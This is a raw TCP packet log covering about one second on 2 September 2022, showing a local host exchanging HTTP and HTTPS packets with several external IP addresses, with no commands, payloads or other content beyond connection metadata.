Sep 2, 2022 14:02:20.904175997 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.904301882 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.904377937 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.937300920 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.937412024 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.937458038 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.937553883 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.937586069 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.937654972 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.937803984 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.937870979 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.938391924 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.938442945 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.938467026 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.938482046 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.938496113 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.938502073 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.938519955 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.938529968 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.938568115 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.938575029 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.939621925 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.939724922 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.939728975 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.939753056 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.939796925 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.939832926 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.961286068 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.961424112 CEST	49782	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.969221115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.969285965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.971471071 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.971563101 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.971575022 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.971596003 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.971656084 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973098040 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973206997 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973232985 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973259926 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973297119 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973315954 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973483086 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973570108 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973586082 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973656893 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973671913 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973694086 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973737001 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973741055 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973752022 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.973757029 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.973809004 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.974503040 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.977130890 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977180958 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977219105 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977256060 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977288961 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977348089 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977380991 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977423906 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977482080 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977535963 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977587938 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977602959 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.977648020 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.977691889 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.005584002 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.005678892 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.005829096 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.005908966 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.006186962 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.006298065 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.006577969 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.006642103 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.006694078 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.006704092 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.006743908 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.006756067 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.007081985 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.007148981 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.007606983 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.008404970 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.008574009 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.008598089 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.008651018 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.008666039 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.008692980 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.008701086 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.008722067 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.008754969 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.008778095 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.008827925 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.008866072 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.008909941 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.008949995 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009007931 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.009033918 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009076118 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.009119987 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009164095 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.009207964 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009252071 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.009294987 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009346008 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.009378910 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:21.009423971 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:21.010030031 CEST	80	49782	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.010077000 CEST	80	49782	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.010116100 CEST	80	49782	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.010149002 CEST	49782	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.010175943 CEST	49782	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.026599884 CEST	80	49783	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.026660919 CEST	80	49783	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.026695013 CEST	80	49783	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.026720047 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.026740074 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.028959036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029019117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029051065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029073954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029124022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029170990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029194117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029237986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029268026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029310942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029337883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029383898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029409885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029457092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029478073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029525042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029542923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029572964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029607058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029664993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029679060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029715061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029747963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029793978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029819012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029865026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029889107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.029933929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.029962063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030009985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030030966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030077934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030100107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030149937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030173063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030221939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030244112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030303001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030318022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030352116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030386925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030442953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030453920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030484915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030508995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030555964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030586958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030636072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030647993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030692101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030704021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030745029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030760050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030802011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030818939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030852079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030886889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030927896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.030944109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.030983925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031002998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031044006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031060934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031105042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031130075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031198978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031239986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031253099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031279087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031323910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031339884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031372070 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031440020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031485081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031501055 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031532049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031560898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031613111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031625032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031663895 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031682968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031727076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031773090 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031785965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031814098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031825066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031858921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031902075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031919956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.031966925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.031980038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032022953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032042980 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032093048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032105923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032135963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032160044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032198906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032216072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032242060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032274008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032309055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032325983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032354116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032366037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032393932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032408953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032435894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032463074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032483101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032504082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032542944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032558918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032567024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032602072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032620907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032649994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032664061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032691002 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032704115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032732964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032747984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032773018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032788038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032815933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032830000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032855988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032869101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032896996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032910109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032934904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.032948971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032978058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.032993078 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033018112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033032894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033061981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033075094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033104897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033122063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033152103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033185005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033198118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033202887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033227921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033246040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033274889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033288956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033317089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033329010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033356905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033370018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033396959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033410072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033437967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033452034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033479929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033489943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033519983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.033535004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.033560038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.041788101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.041852951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.041929007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.041955948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.041970968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.041997910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042011023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042057037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042124033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042196035 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.042212963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042223930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042273045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042290926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042320967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042349100 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042361021 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.042363882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042385101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042396069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042407036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042428970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042448044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042459011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042479992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042485952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042495966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042519093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042553902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042567015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042598009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042620897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042643070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042659998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042675018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042686939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042690992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042712927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042723894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042757988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042776108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042789936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042809963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042864084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042867899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042870998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.042907000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042928934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042949915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042968988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.042989016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043009996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043015003 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043018103 CEST	49768	80	192.168.2.6	62.204.41.123
